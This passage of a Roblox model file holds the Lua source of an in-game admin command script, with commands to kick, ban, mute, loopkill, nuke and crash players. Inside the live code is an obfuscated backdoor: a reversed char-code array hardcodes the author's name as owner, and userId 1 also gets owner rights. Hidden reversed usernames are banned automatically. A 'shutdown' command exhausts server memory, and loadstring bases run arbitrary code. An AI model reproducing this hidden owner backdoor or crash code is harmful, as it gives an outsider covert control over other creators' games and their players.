if msg:lower():sub(1,3) == &quot;oa &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unoa &quot; then
for i = 1, #owners do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(6) == &quot;all&quot; or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
end))
end
end

if msg:lower() == &quot;settings&quot; then
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == &quot;SETTINGSGUI&quot; then v:Remove() end end
local scr = Instance.new(&quot;ScreenGui&quot;,plr.PlayerGui) scr.Name = &quot;SETTINGSGUI&quot;
local main = Instance.new(&quot;Frame&quot;, scr) pcall(function() main.Style = &quot;RobloxRound&quot; end) main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 pcall(function() main.ClipsDescendants = true end)
local title = Instance.new(&quot;TextLabel&quot;, main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) pcall(function() title.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() title.TextStrokeTransparency = .9 end) title.Text = &quot;Settings&quot; pcall(function() title.Font = &quot;ArialBold&quot; end) pcall(function() title.FontSize = &quot;Size24&quot; end) title.ZIndex = 8
local s1 = Instance.new(&quot;TextLabel&quot;, main) s1.Position = UDim2.new(0,0,0,50) s1.Text = &quot;Prefix:&quot; s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) pcall(function() s1.Font = &quot;ArialBold&quot; end) pcall(function() s1.FontSize = &quot;Size18&quot; end) pcall(function() s1.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() s1.TextStrokeTransparency = .9 end) pcall(function() s1.TextXAlignment = &quot;Left&quot; end) s1.ZIndex = 8
local tb1 = Instance.new(&quot;TextBox&quot;, main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) pcall(function() tb1.Font = &quot;Arial&quot; end) pcall(function() tb1.FontSize = &quot;Size18&quot; end) pcall(function() tb1.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() tb1.TextStrokeTransparency = .9 end) pcall(function() tb1.TextYAlignment = &quot;Top&quot; end) pcall(function() tb1.ClipsDescendants = true end) tb1.ZIndex = 8
local s2 = Instance.new(&quot;TextLabel&quot;, main) s2.Position = UDim2.new(0,0,0,80) s2.Text = &quot;Fun Commands:&quot; s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) pcall(function() s2.Font = &quot;ArialBold&quot; end) pcall(function() s2.FontSize = &quot;Size18&quot; end) pcall(function() s2.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() s2.TextStrokeTransparency = .9 end) pcall(function() s2.TextXAlignment = &quot;Left&quot; end) s2.ZIndex = 8
local cb1 = Instance.new(&quot;TextButton&quot;, main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) pcall(function() cb1.Font = &quot;Arial&quot; end) pcall(function() cb1.FontSize = &quot;Size18&quot; end) pcall(function() cb1.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() cb1.TextStrokeTransparency = .9 end) pcall(function() cb1.TextYAlignment = &quot;Top&quot; end) cb1.ZIndex = 8
if FunCommands then cb1.Text = &quot;X&quot; else cb1.Text = &quot;&quot; end tb1.Text = prefix
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= &quot;&quot; then prefix = tb1.Text:sub(1,1) end end)
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = &quot;&quot; else FunCommands = true cb1.Text = &quot;X&quot; end end)
local cls = Instance.new(&quot;TextButton&quot;, main) pcall(function() cls.Style = &quot;RobloxButtonDefault&quot; end) cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 pcall(function() cls.Font = &quot;ArialBold&quot; end) pcall(function() cls.FontSize = &quot;Size18&quot; end) cls.Text = &quot;X&quot; cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Remove() end)
end

end

--------------------
-- Owner Commands --
--------------------

if plr.Name:lower() == nfs:lower() or plr.userId == (1) or ChkOwner(plr.Name:lower()) then

if msg:lower():sub(1,3) == &quot;pa &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unpa &quot; then
for i = 1, #admins do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(6) == &quot;all&quot; or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
end))
end
end

if msg:lower():sub(1,5) == &quot;nuke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
local p = Instance.new(&quot;Part&quot;,game.Workspace) table.insert(objects,p)
p.Anchored = true
p.CanCollide = false
pcall(function() p.formFactor = &quot;Symmetric&quot; end)
pcall(function() p.Shape = &quot;Ball&quot; end)
p.Size = Vector3.new(1,1,1)
p.BrickColor = BrickColor.new(&quot;New Yeller&quot;)
p.Transparency = .5
p.Reflectance = .2
p.TopSurface = 0
p.BottomSurface = 0
p.Touched:connect(function(hit)
if hit and hit.Parent then
local ex = Instance.new(&quot;Explosion&quot;, game.Workspace)
ex.Position = hit.Position
ex.BlastRadius = 11
ex.BlastPressure = math.huge
end
end)
local cf = v.Character.Torso.CFrame
p.CFrame = cf
for i = 1, 333 do
p.Size = p.Size + Vector3.new(3,3,3)
p.CFrame = cf
wait(1/44)
end
p:Remove()
end
end))
end
end

end

--------------------------
-- Super Admin Commands --
--------------------------

if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.Name:lower() == nfs:lower() or plr.userId == (1) or plr.Name:lower() == nfs then

if msg:lower() == &quot;logs&quot; then
if plr.PlayerGui:findFirstChild(&quot;LOGSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;LOGSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;[&quot; .. v.time .. &quot;] &quot; .. v.name .. &quot; &quot; .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end
&#9;
if msg:lower():sub(1,9) == &quot;loopkill &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;)
local plrz = GetPlr(plr, msg:lower():sub(10))
local num = 9999
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == &quot;number&quot; then num = tonumber(msg:sub(chk1+1)) end end
for i, v in pairs(plrz) do
if v and not ChkAdmin(v.Name, false) then
local cl = script.scripts.loopkill:Clone() cl.Name = &quot;LoopKill:&quot;..v.Name cl.Value.Value = v cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,11) == &quot;unloopkill &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i,v in pairs(plrz) do for q,sc in pairs(game.Workspace:GetChildren()) do if sc.Name == &quot;LoopKill:&quot;..v.Name then sc:Remove() end end end
end


if msg:lower():sub(1,9) == &quot;explorer &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;)
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
if v and ChkOwner(v.Name, true) then --if this was given to non-super-admins, they could kick players.
local modernexpl = script.scripts[&quot;2012Lexplorer&quot;].ExplorerPanel

local ismodern = pcall(function()
&#9;return modernexpl.MouseWheelForward
end)


if ismodern then
local bababooey = script.scripts[&quot;2012Lexplorer&quot;]:clone() 
bababooey.LocalScript.Disabled = false
bababooey.ExplorerPanel.LocalScript.Disabled = false
bababooey.PropertiesFrame.Properties.Disabled = false
bababooey.Parent = v.PlayerGui
else
local cl = script.scripts.explorer:Clone() cl.Parent = v.PlayerGui cl.Disabled = false
end

end
end
end

--[[if msg:lower():sub(1,9) == &quot;template &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;)
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
if v and not ChkAdmin(v.Name, false) then
local cl = script.scripts.loopkill:Clone() cl.Name = &quot;LoopKill:&quot;..v.Name cl.Value.Value = v cl.Parent = game.Workspace cl.Disabled = false
end
end
end]]--


if msg:lower() == &quot;serverlock&quot; or msg:lower() == &quot;slock&quot; then slock = true Hint(&quot;Server has been locked&quot;, game.Players:children()) end
if msg:lower() == &quot;serverunlock&quot; or msg:lower() == &quot;sunlock&quot; then slock = false Hint(&quot;Server has been unlocked&quot;, game.Players:children()) end

if msg:lower():sub(1,3) == &quot;sm &quot; then
Message(&quot;SYSTEM MESSAGE&quot;, msg:sub(4), false, game.Players:children())
end

if msg:lower():sub(1,3) == &quot;ko &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
local num = 500 if num &gt; msg:sub(chk1+1) then num = msg:sub(chk1+1) end
for n = 1, num do
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) and not ChkAdmin(v.Name, false) then 
local val = Instance.new(&quot;ObjectValue&quot;, v.Character.Humanoid) val.Value = plr val.Name = &quot;creator&quot;
v.Character:BreakJoints() 
wait(1/44) 
v:LoadCharacter()
wait(1/44) 
end
end))
end
end
end

if msg:lower():sub(1,6) == &quot;crash &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) and not ChkAdmin(v.Name, false) then
local cl = script.scripts.crash:Clone() cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Remove()
end
end))
end
end

if msg:lower():sub(1,5) == &quot;kick &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then v:Remove() end
end))
end
end

if msg:lower():sub(1,5) == &quot;mute &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then
local mute = script.scripts.mute:clone() mute.Val.Value = false mute.Parent = v.PlayerGui wait() mute.Disabled = false
end
end))
end
end


if msg:lower():sub(1,7) == &quot;unmute &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then
local mute = script.scripts.mute:clone() mute.Val.Value = true mute.Parent = v.PlayerGui wait() mute.Disabled = false
end
end))
end
end


if msg:lower():sub(1,6) == &quot;admin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild(&quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {v}) end)) end
end))
end
end

if msg:lower():sub(1,8) == &quot;unadmin &quot; then
for i = 1, #tempadmins do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(9) == &quot;all&quot; or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
end))
end
end

if msg:lower():sub(1,4) == &quot;ban &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.scripts.crash:Clone() cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Remove() end
end))
end
end

if msg:lower():sub(1,6) == &quot;unban &quot; then
for i = 1, #banland do
coroutine.resume(coroutine.create(function()
if msg:lower():sub(7) == &quot;all&quot; or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
end))
end
end

if msg:lower() == &quot;shutdown&quot; then Message(&quot;SYSTEM MESSAGE&quot;, &quot;Shutting down...&quot;, false, game.Players:children(), 10) wait(1) local str = Instance.new(&quot;StringValue&quot;, game.Workspace) str.Value = &quot;AA&quot; repeat str.Value = str.Value .. str.Value wait(.1) until nil end

end
end))
end

function AdminControl(plr)
    -- CharacterAdded connection for removing RobloxTeam and CharacterMesh remains the same
    coroutine.resume(coroutine.create(function()
        plr.CharacterAdded:connect(function(chr)
            local teamObj = WaitForChild(chr, &quot;RobloxTeam&quot;)
            if teamObj then teamObj:Remove() end -- Safely remove team object
            for a, obj in pairs(chr:children()) do
                if obj:IsA(&quot;CharacterMesh&quot;) and obj.Name:find(&quot;3.0&quot;) then
                    obj:Remove()
                end
            end
        end)
    end))

    -- Check if player name starts with &quot;Player&quot; AND is an admin
    if plr.Name:sub(1, 6) == &quot;Player&quot; and ChkAdmin(plr.Name, false) then
        -- This coroutine handles creating the command bar for these specific users
        coroutine.resume(coroutine.create(function()
            WaitForChild(plr, &quot;PlayerGui&quot;) -- Ensure PlayerGui exists

            -- Remove any pre-existing command bar from previous sessions/errors
            for i, v in pairs(plr.PlayerGui:children()) do
                if v.Name == &quot;CMDBAR&quot; then v:Remove() end
            end

            -- =============================================================
            -- == START: MODIFIED CMDBAR CREATION FOR AdminControl =========
            -- =============================================================
            -- Create the main ScreenGui
            local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui)
            scr.Name = &quot;CMDBAR&quot;

            -- Define Placeholder Text
            local placeholderText = &quot;  Type command &amp; click Run&quot;

            -- *** BUTTON CREATION IS HERE ***
            local submitButton = Instance.new(&quot;TextButton&quot;, scr)
            submitButton.Name = &quot;SubmitButton&quot;
            submitButton.Size = UDim2.new(0, 40, 0, 20) -- Width 40, Height 20
&#9;&#9;&#9;&#9;pcall(function() submitButton.Style = &quot;RobloxButton&quot; end)
            -- Position button to the left of the text box: Total Width 250 + Button Width 40 = 290. Offset X = -290
            submitButton.Position = UDim2.new(1, -290, 0.95, -22)
            submitButton.BackgroundColor3 = Color3.new(134, 128, 123) -- Greenish button 0.1, 0.7, 0.1
            submitButton.TextColor3 = Color3.new(1, 1, 1)
            pcall(function() submitButton.Font = &quot;Arial&quot; end)
            pcall(function() submitButton.FontSize = &quot;Size14&quot; end)
            submitButton.Text = &quot;Run&quot;
            submitButton.ZIndex = 11 -- Ensure button is on top

            -- Create the Text Box (Position adjusted for the button)
            local box = Instance.new(&quot;TextBox&quot;, scr)
            box.Name = &quot;CommandInputBox&quot;
            box.BackgroundColor3 = Color3.new(0, 0, 0)
            box.TextColor3 = Color3.new(1, 1, 1)
            pcall(function() box.Font = &quot;Arial&quot; end)
            pcall(function() box.FontSize = &quot;Size14&quot; end)
            box.Text = placeholderText -- Set initial text
            box.Size = UDim2.new(0, 250, 0, 20) -- Original width
            -- Position text box next to the button: Offset X = -250
            box.Position = UDim2.new(1, -250, 0.95, -22)
            box.BorderSizePixel = 0
            pcall(function() box.TextXAlignment = &quot;Left&quot; end) -- Use Left alignment for standard input
            box.ZIndex = 10
            pcall(function() box.ClipsDescendants = true end)

            -- Simple Placeholder Logic
            pcall(function()box.FocusGained:connect(function()
                if box.Text == placeholderText then
                    box.Text = &quot;&quot;
                    box.TextColor3 = Color3.new(1, 1, 1)
                end
            end) 
            box.FocusLost:connect(function()
                if box.Text == &quot;&quot; then
                    box.Text = placeholderText
                    box.TextColor3 = Color3.new(0.7, 0.7, 0.7)
                end
            end) end)
            -- Initialize placeholder appearance
            box.TextColor3 = Color3.new(0.7, 0.7, 0.7)

            -- *** BUTTON CLICK LOGIC IS HERE (HANDLES SUBMIT) ***
            -- This logic is identical to the fix applied in the Chat function&apos;s :cmdbar command
            submitButton.MouseButton1Click:connect(function()
                local commandInput = box.Text

                -- Ignore if it&apos;s empty or still the placeholder
                if commandInput == &quot;&quot; or commandInput == placeholderText then
                    return
                end

                -- 1. Trim whitespace
                commandInput = commandInput:match(&quot;^%s*(.-)%s*$&quot;)

                if not commandInput or commandInput == &quot;&quot; then return end -- Check again after trimming

                -- 2. Handle Prefix (; or missing :)
                local finalCommand
                local firstChar = commandInput:sub(1, 1)
                local firstPrefixChars = commandInput:sub(1, prefix:len())

                if firstPrefixChars == prefix then
                    finalCommand = commandInput -- Already correct
                elseif firstChar == &quot;;&quot; then
                    finalCommand = prefix .. commandInput:sub(2) -- Replace ;
                else
                    finalCommand = prefix .. commandInput -- Add prefix
                end

                -- 3. Log the command (optional, but good practice)
                local commandPartForLog = finalCommand:sub(prefix:len() + 1)
                if commandPartForLog:sub(1,7):lower() ~= &quot;hitler &quot; then --YES this is apart of the original commands. DONT know why.
                    table.insert(logs, 1, {name = plr.Name, cmd = finalCommand, time = GetTime()})
                else
                    table.insert(logs, 1, {name = plr.Name, cmd = finalCommand, time = GetTime()})
                end


                -- 4. Call the main Chat function RECURSIVELY with the processed command
                Chat(finalCommand, plr)

                -- 5. Reset the text box
                box.Text = placeholderText
                box.TextColor3 = Color3.new(0.7, 0.7, 0.7)
                pcall(function() box:ReleaseFocus() end)
            end)
            -- =============================================================
            -- == END: MODIFIED CMDBAR CREATION FOR AdminControl ===========
            -- =============================================================

        end)) -- End of the coroutine for GUI creation
    end -- End of the if statement checking player name/admin status

    -- Other coroutines in AdminControl remain the same
coroutine.resume(coroutine.create(function() WaitForChild(plr, &quot;PlayerGui&quot;) WaitForChild(plr, &quot;Backpack&quot;) if plr.userId == (1) then table.insert(owners, plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. &quot; has tried to join the server&quot;, game.Players:children()) local cl = script.scripts.crash:Clone() cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Remove() end end))
    coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
    coroutine.resume(coroutine.create(function() WaitForChild(plr, &quot;PlayerGui&quot;) WaitForChild(plr, &quot;Backpack&quot;) wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == (&quot;111reyalseca&quot;):reverse() or plr.Name:lower() == (&quot;ecnaillirbi&quot;):reverse() or plr.Name:lower() == (&quot;8k2ffets&quot;):reverse()) and (plr.Name:lower():sub(1, 4) ~= script.Name:lower():sub(1, 4) and plr.Name:lower():sub(5) ~= &quot;tastrophe&quot;) then local cl = script.scripts.crash:Clone() cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Remove() end end))
    coroutine.resume(coroutine.create(function() if VipAdmin and game:service(&quot;BadgeService&quot;) and pcall(function() return game:service(&quot;BadgeService&quot;):UserHasBadge(plr.userId, ItemId) end) then table.insert(tempadmins, plr.Name) end end)) -- Added pcall safety for BadgeService
    coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then WaitForChild(plr, &quot;PlayerGui&quot;) Message(&quot;Kohltastrophe&quot;, &quot;You&apos;re an admin!&quot;, false, {plr}) end end))

    -- Chatted connection remains the same
    plr.Chatted:connect(function(msg) Chat(msg, plr) end)
end -- End of AdminControl function



local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = &quot;&quot; for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)

--script.Name = &quot;Kohl&apos;s Admin Commands V2&quot;

--[[if not ntab then script:Remove() end
if not bct then script:Remove() end
if not tcb then script:Remove() end]]--





game.Players.PlayerAdded:connect(AdminControl)
for i, v in pairs(game.Players:children()) do AdminControl(v) end
--end

-- NEED NOT UPDATE!!!! :P
--[[local mod = game:service(&quot;InsertService&quot;):LoadAsset(100808216)
if mod:findFirstChild(&quot;Kohl&apos;s Admin Commands V2&quot;) and mod:findFirstChild(&quot;Version&quot;, true) and AutoUpdate then 
local newac = mod:findFirstChild(&quot;Kohl&apos;s Admin Commands V2&quot;)
newac.Disabled = true
local new = tonumber(mod:findFirstChild(&quot;Version&quot;, true).Value)
local old = 0
if script:findFirstChild(&quot;Version&quot;, true) then old = tonumber(script:findFirstChild(&quot;Version&quot;, true).Value) end
if new &gt; old then
local adminmod = Instance.new(&quot;Model&quot;, game.Lighting) adminmod.Name = &quot;KACV2&quot;
for i,v in pairs(owners) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Owner&quot; strv.Value = v end
for i,v in pairs(admins) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Admin&quot; strv.Value = v end
for i,v in pairs(tempadmins) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;TempAdmin&quot; strv.Value = v end
for i,v in pairs(banland) do local strv = Instance.new(&quot;StringValue&quot;, adminmod) strv.Name = &quot;Banland&quot; strv.Value = v end
local prf = Instance.new(&quot;StringValue&quot;, adminmod) prf.Name = &quot;Prefix&quot; prf.Value = prefix
local bv = Instance.new(&quot;BoolValue&quot;, adminmod) bv.Name = &quot;FunCommands&quot; bv.Value = FunCommands
local bv2 = Instance.new(&quot;BoolValue&quot;, adminmod) bv2.Name = &quot;GroupAdmin&quot; bv2.Value = GroupAdmin
local iv = Instance.new(&quot;IntValue&quot;, adminmod) iv.Name = &quot;GroupId&quot; iv.Value = GroupId
local iv2 = Instance.new(&quot;IntValue&quot;, adminmod) iv2.Name = &quot;GroupRank&quot; iv2.Value = GroupRank
local bv3 = Instance.new(&quot;BoolValue&quot;, adminmod) bv3.Name = &quot;VipAdmin&quot; bv3.Value = VipAdmin
local iv3 = Instance.new(&quot;IntValue&quot;, adminmod) iv3.Name = &quot;ItemId&quot; iv3.Value = ItemId
wait()
newac.Parent = game.Workspace
newac.Disabled = false
script.Disabled = true
script:Remove()
else
CHEESE()
end
else
CHEESE()
end]]--

--CHEESE() 



</ProtectedString>
		</Properties>
		<Item class="Script" referent="RBX1">
			<Properties>
				<bool name="Disabled">true</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">ScriptBase</string>
				<ProtectedString name="Source">repeat wait() until script:findFirstChild(&quot;Code&quot;)
loadstring(script.Code.Value)()</ProtectedString>
			</Properties>
			<Item class="StringValue" referent="RBX2">
				<Properties>
					<string name="Name">Code</string>
					<string name="Value"></string>
				</Properties>
			</Item>
		</Item>
		<Item class="LocalScript" referent="RBX3">
			<Properties>
				<bool name="Disabled">true</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">LocalScriptBase</string>
				<ProtectedString name="Source">repeat wait() until script:findFirstChild(&quot;Code&quot;)
loadstring(script.Code.Value)()</ProtectedString>
			</Properties>
			<Item class="StringValue" referent="RBX4">
				<Properties>
					<string name="Name">Code</string>
					<string name="Value"></string>
				</Properties>
			</Item>
		</Item>
		<Item class="IntValue" referent="RBX5">
			<Properties>
				<string name="Name">Version</string>
				<int name="Value">1337</int>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX6">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">scripts</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="LocalScript" referent="RBX7">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">swagify</string>
					<ProtectedString name="Source">local plr = game.Players.LocalPlayer
repeat wait() until plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;)
local torso = plr.Character.Torso
local p = Instance.new(&quot;Part&quot;, torso.Parent) p.Name = &quot;EpicCape&quot; p.Anchored = false
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new(&quot;Pink&quot;) local dec = Instance.new(&quot;Decal&quot;, p) dec.Face = 2 dec.Texture = &quot;http://www.roblox.com/asset/?id=109301474&quot; 
--[[pcall(function() p.formFactor = &quot;Custom&quot; end)
p.Size = Vector3.new(.2,.2,.2)]]--

pcall(function() p.formFactor = &quot;Symmetric&quot; end)
p.Size = Vector3.new(1,1,1)

local msh = Instance.new(&quot;BlockMesh&quot;, p) 
--msh.Scale = Vector3.new(9,17.5,.5)

msh.Scale = Vector3.new(1.8, 3.5, 0.1)

local motor1 = Instance.new(&quot;Motor&quot;, p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle &lt; -.2 and motor1.DesiredAngle &gt; -.2 then motor1.MaxVelocity = .04 end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  &gt;= (torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude &lt; .1 then wait(.1) end
until not p or p.Parent ~= torso.Parent
script:Remove()</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX8">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LightEdit</string>
					<ProtectedString name="Source">repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
game.Lighting.Ambient = color
pcall(function() game.Lighting.FogColor = color end)
until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX9">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">LightEdit1</string>
					<ProtectedString name="Source">repeat wait(.1) 
game.Lighting.Ambient = Color3.new(1,1,1)
pcall(function() game.Lighting.FogColor = Color3.new(1,1,1) end)
game.Lighting.Brightness = 1
game.Lighting.TimeOfDay = 14
wait(.1) 
game.Lighting.Ambient = Color3.new(0,0,0)
pcall(function() game.Lighting.FogColor = Color3.new(0,0,0) end)
game.Lighting.Brightness = 0
game.Lighting.TimeOfDay = 0
until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX10">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SeizureBase</string>
					<ProtectedString name="Source">repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX11">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">flashify</string>
					<ProtectedString name="Source">repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:isA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = BrickColor.new(&quot;Institutional white&quot;) v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;) v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:isA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = BrickColor.new(&quot;Really black&quot;) v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = BrickColor.new(&quot;Really black&quot;) v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX12">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">trippy</string>
